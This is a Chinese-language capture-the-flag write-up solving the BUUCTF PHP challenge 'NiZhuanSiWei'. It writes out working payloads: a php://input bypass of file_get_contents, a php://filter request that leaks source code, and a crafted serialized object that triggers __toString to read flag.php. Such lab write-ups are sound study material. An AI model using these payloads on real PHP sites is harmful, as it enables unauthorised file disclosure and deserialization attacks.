9.1 BUUCTF [ZJCTF 2019]NiZhuanSiWei
很好的一道题目
整体思路没问题 只是没反应到用 filter查看 useless.php(...)
分析源码:

首先要解决:
file_get_contents($text,'r')==="..."
的问题
上网查询 file_get_contents($filename,'r') 是 读取filename文件内的内容
我们不可能找出一个文件 所以利用常见的绕过方法
php://input 绕过 file_get_contents
构造
?text=php://input
然后在 POST 上传 ... 即可绕过
接下来有个 //useless.php
这种一定要敏锐的意识到
可以用 php://filter 伪协议读取
构造
?file=php://filter/convert.base64-encode/resource=useless.php
base6解密后查看源码:
class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
找到了需要反序列化的对象的类的相关情况
关于反序列化漏洞的几个常见出现点
尤其注意类中有 __destruct __toString 等方法
__toString() 当我们 echo 一个对象时就会触发
根据本题源码 可知 只要 file="flag.php"即可
构造出 序列化的结果 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
整个payload拼起来 burpsuite重发即可获得flag{}


                
            
        
浙公网安备 33010602011771号